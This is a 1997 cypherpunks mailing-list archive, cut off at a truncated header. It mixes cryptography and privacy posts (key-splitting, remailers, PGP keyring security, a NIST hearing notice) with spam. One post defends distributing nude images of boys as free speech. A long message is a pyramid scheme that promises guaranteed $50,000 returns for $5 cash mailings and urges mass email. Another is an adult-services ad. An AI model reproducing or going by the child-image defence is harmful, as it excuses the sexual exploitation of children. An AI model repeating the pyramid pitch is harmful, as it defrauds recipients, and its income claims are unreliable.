From paul at fatmans.demon.co.uk  Wed Jun 18 04:01:02 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Wed, 18 Jun 1997 19:01:02 +0800
Subject: Digiweb.com's Movie Boys
In-Reply-To: 
Message-ID: 



CC list cut from huge chain of people to just cpunx.

> Explain to me how distributing JPEGS's of nude boys is an exercise of
> personal freedom. 

I would have thought this was obvious, clearly not. Distributing any 
information is exercising ones right to free speech. Just because the 
speech happens to offend you does not make it wrong, I also find that 
often it is the most censorous that are the most repressed, I`m sure the 
poster probably has a collection of child pornography, or maybe just sits 
on the beach watching small boys?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Wed Jun 18 04:30:25 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Wed, 18 Jun 1997 19:30:25 +0800
Subject: keeping secrets and knowing when they're compromised
In-Reply-To: <33A57FB8.662D1FCA@overlord.com>
Message-ID: 




> > I also want to know, if I'm still around, when and if those documents
> > are decrypted.  I.e. In the event that my friend isn't as trustworthy
> > as I presume, I want to find out if s/he decrypts the files while I'm
> > still around.

There is a solution, a simple one, that can split the repsonsibility.

Encrypt the documents with a normal symmetric cryptosystem, something 
strong and unlikely to be compromised in the near future, say LOKI or 
IDEA, or maybe 3DES if you trust it.

XOR the key with a random value, give the result to your friend and print 
out the random value, sign it and give it to a bank or solicitor as a 
bequest in your will to your friend.

If and when something does happen the friend proves your death to the 
bank using probate or a death certificate, gets the random value, XORs it 
with the string you gave her and she has the key. She can then easily 
decrypt the data. 

Yes, it does involve a third party, but it is unlikely your friend could 
collude with a respected bank or solicitor/notary to recover the key...
Really all depends how paranoid you are.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From siddiq at comnet.com.tr  Wed Jun 18 04:49:02 1997
From: siddiq at comnet.com.tr (imran)
Date: Wed, 18 Jun 1997 19:49:02 +0800
Subject: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706181111.OAA29736@ildico.comnet.com.tr>



Does Any body know if the PGP 5.0 program can be found outside US and
Canada,or how can the users from rest of the world have access to it.
please reply in person if possible.

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/     
  ..o0O""O0o..  I see this world with a pessimist's eye not to grieve
    (    |  |    )    upon the misery of the Adam's children but to wait
     )  /    \  (     in vain for the blissful years yet to come...
     (_)    (_)






From fredr at joshua.rivertown.net  Wed Jun 18 06:44:08 1997
From: fredr at joshua.rivertown.net (Fred B. Ringel)
Date: Wed, 18 Jun 1997 21:44:08 +0800
Subject: [PGP-USERS] ANNOUNCING: Georgia Cracker Anonymous Remailer
Message-ID: <3.0.2.32.19970618083439.007c1390@smtp1.abraxis.com>



Hi all-

	Here is Andy Dustbin's replacement for the dustbin remailer, one
which was quite reliable during the time it was up. Add this one to your
lists. You can get the keys from the remailer.

	The good news is Andy intends to eatablish another nym remailer. We
need more of these.

	Fred
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Fred B. Ringel		      --      Rivertown.Net Internet Access
Systems Administrator	      --      Voice/Fax/Support: +1.914.478.2885
PGP- Public Key		      --      email: fredr-pgpkey at joshua.rivertown.net
	Although in theory, there's no difference between 
	theory and practice, in practice, there is.


---------- Forwarded message ----------
Date: Wed, 18 Jun 1997 00:42:49 -0400 (EDT)
From: Andy Dustman 
Subject: ANNOUNCING: Georgia Cracker Anonymous Remailer

Dustbin is dead; long live Cracker! ("Cracker" means more than you think;
get out your dictionaries and look up the term as it applies to the SE US,
or specifically GA. ;)

Here is the vital data:

$remailer{"cracker"} = " cpunk pgp hash latent cut
ek mix reord middle";

Cracker runs ghio-2 and Mixmaster 2.0.4b1. You may notice an extra key
stashed in here. It is for the forthcoming nymserver (which I am having a
nasty problem with PGPPATH, ARGH!). Don't use it yet; I hopefully will
make the announcement tommorrow.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy at CCMSD.chem.uga.edu      <}+++<









From pclow at pc.jaring.my  Wed Jun 18 06:49:25 1997
From: pclow at pc.jaring.my (Peng Chiew)
Date: Wed, 18 Jun 1997 21:49:25 +0800
Subject: [?????] PGP 5.0 Freeware is available from ???
In-Reply-To: <199706181111.OAA29736@ildico.comnet.com.tr>
Message-ID: <33A7F0B0.3ED7C945@pc.jaring.my>



imran wrote:

> Does Any body know if the PGP 5.0 program can be found outside US and
> Canada,or how can the users from rest of the world have access to it.
> please reply in person if possible.

Reply in person?? where is .tr in the first place?
Will you pay for my airticket?? ;)

Seriously, you can get it at:

        ftp.hacktic.nl
        pub/replay/pub/incoming/pgp50trial.exe

ciao!

pclow.






From mknjbhvgcfd at aol.com  Wed Jun 18 22:37:41 1997
From: mknjbhvgcfd at aol.com (Anne)
Date: Wed, 18 Jun 1997 22:37:41 -0700 (PDT)
Subject: Can You Handle $50,000?
Message-ID: <00dcd2810061367NIH2WAAF@csi.com>




CAN YOU HANDLE $50,000?



First, please accept my apology if this was sent to you in error!


You could possibly make at least $50,000 - In less than 90 days! Read the enclosed program ....THEN READ AGAIN....


The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave it serious thought and study to it. So glad I did! Here's my story!


My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER .... FINANCIALLY!!!!!!!


In mid-December, I received this program via email. Six months prior to receiving this I had been sending away for information on various business opportunities. All the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year ..... it didn't tell me I'd have to write a book to make it.


But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determning that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".


Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY. RELAX, YOU WILL MAKE YOUR $50,000 GOAL".
Well, I had 196 orders for REPORT #2, 96 MORE THAN I NEEDED. So, I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.


I paid off ALL my debts and bought a much needed new car. PLEASE take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you DON'T try it! This program DOES WORK, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. THAT DOESN'T WORK, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!!!!


If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security.


If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID!



                                                                                   Sincerely,
                                                                                   Christopher Erickson


P.S. Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!


"THREW IT AWAY"


I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try".


                                                                                    Dawn W., Evansville, IN
             
"NO FREE LUNCH"


"My late father always told me, remember, Alan, there is no free lunch. You get out of life what you put into it". Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me.


                                                                                    Alan B., Philadelphia, PA


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM


By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur.


Let me tell you a little about by myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate .... because many of you know from first hand experience. There were more failures and bankruptcies than ever before.


The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.


You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more money in the next few months than you have ever imagine.


I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE.


Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000 .... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach.


So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"


Before you throw this away or delete it from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and paper and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS!


                                                                              Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$$$$$$


Let's say that you decide to start small, just to see how it goes, and we'll assume that the mailing receives a 5% response. Using a good list the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. the 5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 2,000,000 total. The 5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example of $50 + $500 + $5000 + $50,000 for a total of $55,500!!!!!!


REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING.....AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2000. Believe me, many people will do that and more! By the way, your cost to participate in this is practially nothing if you go the email route. Email is FREE! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. If you go the regular mail route, that also will provide you with a very nice income. The costs for regular mail are higher.


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This multi-level order marketing program works perfectly .... 100% EVERY TIME. If you have a computer, email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!! The longer you wait, the more people will be doing business using email. Get your piece of this action now!!!


MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-Level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.


INSTUCTIONS


We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", please read the program very carefully!


This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office.


This is the GREATEST Multi-level Mail OrderMarketng anywhere:


Step (1) ORDER ALL FOUR (4) REPORTS LISTED BY NAME AND NUMBER.
             Do this by ordering the REPORT from each of the four (4) names listed. For
             each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED
             envelope (BUSINESS SIZE #10) to the person LISTED for the SPECIFIC
             REPORT. International orders should also include $1 extra for postage. It is
             essential that you specify the NAME and NUMBER of the report requested
             to the person you are ordering from. You will need ALL FOUR REPORTS
             because you will be REPRINTING and RESELLING them. DO NOT alter the
             names or sequence other than what the instructions say. IMPORTANT:
             Always provide same-day service on all orders.


Step (2) REPLACE THE NAME AND ADDRESS UNDER REPORT #1 WITH YOURS,
             moving the one that was there down to REPORT #2. Drop the name and
             address under REPORT #2 to REPORT #3, moving the one that was there to
             REPORT #4. The name and address that was under REPORT #4 is dropped
             from the list and this party is no doubt on the way to the bank. When doing
             this, make certain you type the names and addresses ACCURATELY! DO
             NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!!


Step (3) HAVING MADE THE REQUIRED CHANGES IN THE NAME LIST, save it as
             Text (.txt) file in its own directory to be used with whatever email program you
             like. Again, REPORT #3 will tell you the best methods of bulk emailing and
             acquiring email lists.


Step (4) EMAIL OR MAIL A COPY OF THE ENTIRE PROGRAM (ALL OF THIS IS
             VERY IMPORTANT) TO EVERYONE whose address you can get your hands
             on. Start with friends and relatives since you can encourage them to take
             advantage of this fabulous money-making opportunity. That's what I did. And
             they love me now, more then ever. Then, email to anyone and everyone! Use
             your imagination! You can get email addresses from companies on the
             internet who specialize in email mailing lists and services, mailing them for
             you. These are very inexpensive, 100,000 addresses for around $50.00 up.


IMPORTANT: You won't get a good response if you use an old list, so ALWAYS request a FRESH, NEW list. You will find out where to purchase these lists when you order the four (4) reports.


ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


REQUIRED REPORTS


**** Order each REPORT by NUMBER and NAME ****


ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.


**** REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
  
ORDER REPORT #1 FROM:


          THE "Z" COMPANY
          1506 Audubon Place
          Shreveport, La. 71105


**** REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"


ORDER REPORT #2 FROM:


          KZT
          1013 Speed
          Monroe, La. 71201
 
**** REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"


ORDER REPORT #3 FROM:

          SOUTHERN S. S.
          1324 Chopin
          Bossier City, La. 71112


**** REPORT #4 "EVALUTING MULTI-LEVEL SALES PLANS"


ORDER REPORT #4 FROM:


          PREMIER CO.
          115 Fielder Lane
          Shreveport, La. 71105



CONCLUSION!


I am enjoying my fortune that I made by sending out this program. You, too, will be making money in 20 - 90 days, if you follow the SIMPLE STEPS outlined in this mailing.


To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back.


However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. WILL YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. PLEASE re-read this material, this is a special opportunity. If you have questions, please feel free to write to the sender of this information. You will get a prompt and informative reply.


My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, no product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.


You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduce at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and GOOD LUCK!


"IT WAS TRULY AMAZING"


"Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could NOT get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before".


                                                      Mary Riceland, Lansing, MI


TIPS FOR SUCCESS


Send for your 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18, Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:


1.      Name your new company. You can use your own name if you desire.


2.      Get a post office box (preferred).


3.      Edit the names and addresses on the program. You MUST remember, your name
         and address go next to REPORT #1 and the others all move down one, with the
         fourth one being bumped OFF.


4.      Obtain as many addresses as possible to send until you receive the information
         on the mailing list companies in REPORT #3.


5.      Decide on the number of programs you intend to send out. The more you send out
         and the quicker you send them, the more money you will make.


6.      After mailing the programs, get ready to fill the orders.


7.      Copy the four 4 REPORTS so you are able to send them out as soon as you
         receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON
         ORDERS YOU RECEIVE!


8.      Make certain the letter and reports are neat and legible.


YOUR GUARANTEE!


The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a MUST!!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, IF YOU DON'T, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (TAKE A DEEP BREATH) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES  -  ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!!



REMEMBER:


"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING".


"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT THE REST OF YOUR LIFE".



GOOD LUCK!

















From arunas at post1.com  Wed Jun 18 08:19:51 1997
From: arunas at post1.com (Arunas Norvaisa)
Date: Wed, 18 Jun 1997 23:19:51 +0800
Subject: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <3.0.32.19970618180132.00696e10@post1.com>



On 09:29 PM 97.06.18 +0700, Peng Chiew wrote (and I quoted):

> where is .tr in the first place?
>Will you pay for my airticket?? ;)

 tr is for Turkey and yes, you'll need airticket to get there
from .my !!! :)

>
>Seriously, you can get it at:
>
>        ftp.hacktic.nl
>        pub/replay/pub/incoming/pgp50trial.exe
>

 Will this be legal??? <= This is the question. BTW, when this
'trial' version will cease to work?



--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
 with subject: 'send key' to get PGP key
PGP for idiots page 
  and a mirror site 
To understand a program you must become both the machine and the program.






From renhoek at 1stfamily.com  Wed Jun 18 23:52:51 1997
From: renhoek at 1stfamily.com (Paula)
Date: Wed, 18 Jun 1997 23:52:51 -0700 (PDT)
Subject: Adult Advertisement - Check It Out!
Message-ID: <199706190659.CAB11792@199706190659.CAB11792>


The following is a message of adult nature.  Please do not read further if you are offended by such.

You must be atleast 21 to access the following web page!

Live Interactive Sex Shows on your PC - No Software to buy or Download!!

You have heard about it on T.V., read about in the newspapers, now see it for yourself!!

Point your web browser to http://204.137.220.42 for more HOT information! 

We have Female Shows, Male Shows and Sex Shows straight from Amsterdam!  All Shows are Live and Fully Interactive!!

Remember to go to http://204.137.220.42 and bookmark the page!!

NOTE:  Due to Server upgrading, website may not be available at all times.  Please 
try to reconnect at a later time if you have difficulties.

Try our traditional LIVE  1-ON-1 phone sex services too! - FREE of charges (Long Distance rates apply)
011-592-583-453 to talk to HOT WOMEN or
011-592-583-426 to talk to HOT MEN!






From stewarts at ix.netcom.com  Thu Jun 19 01:09:08 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 19 Jun 1997 01:09:08 -0700 (PDT)
Subject: Recycling your unwanted junk email
Message-ID: <3.0.2.32.19970619010448.00771b34@popd.ix.netcom.com>


Got any SPAM you're not using?  Want to find a good home for it?
A friend of mine passed along this request for spam,
which can be beneficially recycled...
			Bill
--------------
please forward your spam to junk at thehouse.org
(or subscribe junk at thehouse.org to spam lists)



------- Forwarded Message

Return-Path: dc-stuff
Message-Id: <3.0.32.19970618085725.008b69d0 at mail.ctp.com>
X-Sender: ybenja at mail.ctp.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 18 Jun 1997 08:57:28 -0700
To: dc-stuff at merde.dis.org
From: Yobie Benjamin 
Subject: Spaminator II
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-dc-stuff
Precedence: bulk
X-forward-loop: dc-stuff
Reply-To: Yobie Benjamin 
X-Comment:   TO UNSUBSCRIBE: email "unsubscribe dc-stuff" to majordomo at dis.org
X-Comment:   Lonely? Need a friend and lover? email dtangent at defcon.org
X-Comment:   tired of typing? call the Defcon Voice Bridge	801-855-3326
X-Copyright: This message is Copyright all rights reserved unless expressly
limited
Status: O

A few of you have been kind enough to send some spam to
junk at thehouse.org.  Unfortunately, much of it has been significantly
altered, which makes it less useful.  If you send any junkmail, please
leave the headers and body as intact as possible.   

IMPORTANT!!!

That means you shouldn't make a new message and include the junk mail in
it, you
shouldn't send the junk as an attachment, you shouldn't send more than
one piece of junk in a single message, and you shouldn't quote the
message text by insterting characters at the beginning of each line. 
Most of these things aren't that hard to undo, but everyone does them
a bit differently and we'd rather not have to go through and fix them
all.

The best way to do it:

 sendmail junk at thehouse.org < onemessage

or

 formail -ds  sendmail junk at thehouse.org < manymessages


If you use Emacs and VM, the following code will bind J in the summary
window to do the Right Thing.

(defvar flan-junkmail-address "junk at thehouse.org"
  "The address to forward all junkmail to.")

(defun flan-junk-junkmail (prefix-arg)
  "Send all junkmail to 'flan-junkmail-address and delete it."
  (interactive "p")
  (if (interactive-p)
      (vm-follow-summary-cursor))
  (vm-delete-message 1)
  (vm-pipe-message-to-command (concat "/usr/lib/sendmail "
                                      flan-junkmail-address)
                              prefix-arg))

(define-key vm-mode-map "J" 'flan-junk-junkmail)

------- End of Forwarded Message








From paul at fatmans.demon.co.uk  Wed Jun 18 10:33:02 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 19 Jun 1997 01:33:02 +0800
Subject: Impact of Netscape kernel hole (fwd)
In-Reply-To: 
Message-ID: 





> All the perp has to do, once the secring.pgp is obtained is "pgp -kvv
> secring.pgp" and he now knows that Joe Cypherpunk and Secret Nym are the
> same person.

Another reason for keeping physical security over keys, nym keys, if it 
is important enough that the nym stays unidentifiable, should be kept on 
a different secring.pgp, which should be kept physically secure on a disk 
and encrypted using some other key than your own real-name secret key 
(this is just a measure to prevent breaking one key revealing the nym). 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From jya at pipeline.com  Wed Jun 18 10:50:37 1997
From: jya at pipeline.com (John Young)
Date: Thu, 19 Jun 1997 01:50:37 +0800
Subject: Federal Websites
Message-ID: <1.5.4.32.19970618172135.006cdc8c@pop.pipeline.com>



The General Accounting Office has published an astonishing list
of over 4,000 Federal Websites, many not well-known, with hyperlinks 
for easy access:

-  World Wide Web Sites: Reported by 42 Federal Organizations.
   GGD-97-86S. June 1, 1997. 
   http://www.gao.gov/new.items/gg97086s.pdf

It's a supplement to an assessment of federal electronic 
information systems:

-  Internet and Electronic Dial-Up Bulletin Board System Activities:
   Information Reported by Federal Organizations. GGD-97-86. June
   16, 1997. 
   http://www.gao.gov/new.items/gg97086.pdf

We note the also amazingly-revealing GovBot Database of Government
Websites which provides search and access to 308,000 government and
military web pages:

   http://cobar.cs.umass.edu/ciirdemo/Govbot/






From declan at well.com  Wed Jun 18 11:00:42 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 19 Jun 1997 02:00:42 +0800
Subject: House Science hearing TOMORROW on NIST computer security act (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 18 Jun 1997 09:59:27 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: House Science hearing TOMORROW on NIST computer security act



---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 17:11:03 -0400
From: "Farmer, Donna" 
To: declan
Subject: Computer Security Enhancement Act of 1997



Subcommittee on Technology


Legislative Hearing on the 
Computer Security Enhancement Act of 1997

Thursday, June 19th 1997
10:00 AM to 12:00 Noon
2318 Rayburn House Office Building



The Honorable Gary Bachula					Stephen T. Walker
Acting Under Secretary for Technology				President and CEO
Technology Administration					Trusted Information Systems, Inc.
Department of Commerce					Glenwood, MD
Washington, DC						
								James Bidzos
Whitfield Diffie							President & CEO
Distinguished Engineer						Redwood City, CA
Sun Microsystems						
Mountain View, CA

Marc Rotenberg
Director
Electronic Privacy Information Center
Washington, DC

..													
Hearing Purpose:  

The Hearing will focus on the provisions of the Computer Security
Enhancement Act of 1997.  The bill amends the Computer Security Act of
1987 (P.L.  100-235).  The Computer Security Act 1987of gave NIST the
lead responsibility for computer security for Federal civilian agencies.
 The act requires NIST to develop the standards and guidelines needed to
ensure cost-effective security and privacy of sensitive information in
Federal computer systems.  

Background: The Computer Security Enhancement Act will strengthen the
National Institute of Standards and Technology's (NIST's ) historic role
in computer security established by the Computer Security Act.  The bill
updates the decade-old act while giving NIST the tools it requires to
ensure that appropriate attention and effort is concentrated on securing
our Federal information technology infrastructure.

What the Bill Does:  

The Computer Security Enhancement Act updates the Computer Security Act
to take into account the evolution of computer networks and their use by
both the Federal Government and the private sector.  Specifically, the
security enhancement act:

1.	Requires NIST to promote the acquisition of off-the-shelf products
for meeting civilian agency computer security needs.  This measure
should reduce the cost and improve the availability of computer security
technologies to Federal agencies. 
	 
2.	Increases the input of the independent Computer System Security and
Privacy Advisory Board into NIST's decision-making process.  The board,
which is made up of  representatives from industry, federal agencies and
other outside experts, should assist NIST in its development of
standards and guidelines for Federal systems.
	  
3.	Requires NIST to develop standardized tests and procedures to
evaluate the strength of foreign encryption products.  Through such
tests and procedures, NIST, with assistance from the private sector,
will be able to judge the relative strength of foreign encryption,
thereby defusing some of the concerns associated with the export of
domestically produced encryption products. 
	
4.	Limits NIST's involvement to the development of standards and
guidelines for Federal civilian systems and not for the private sector.
The bill clarifies that NIST standards and guidelines are to be used for
the acquisition of security technologies for the Federal government and
are not intended as restrictions on the production or use of encryption
by the private sector.
	
5.	Updates the Computer Security Act to address changes in technology
over the last decade.  Significant changes in the manner in which
information technology is used by the Federal government have occurred
since the enactment of the Computer Security Act.  The bill updates the
Act, taking these changes into account.
	  
6.	Establishes a new computer science fellowship program for graduate
and undergraduate students studying computer security.  The bill sets
aside $250,000 a year, for each of the next two fiscal years, to enable
NIST to finance computer security fellowships under an existing NIST
grant program.
	
7.	Requires the National Research Council to conduct a study to assess
the desirability of, and the technology required to, support public key
infrastructures.  








From paul at fatmans.demon.co.uk  Wed Jun 18 11:18:28 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 19 Jun 1997 02:18:28 +0800
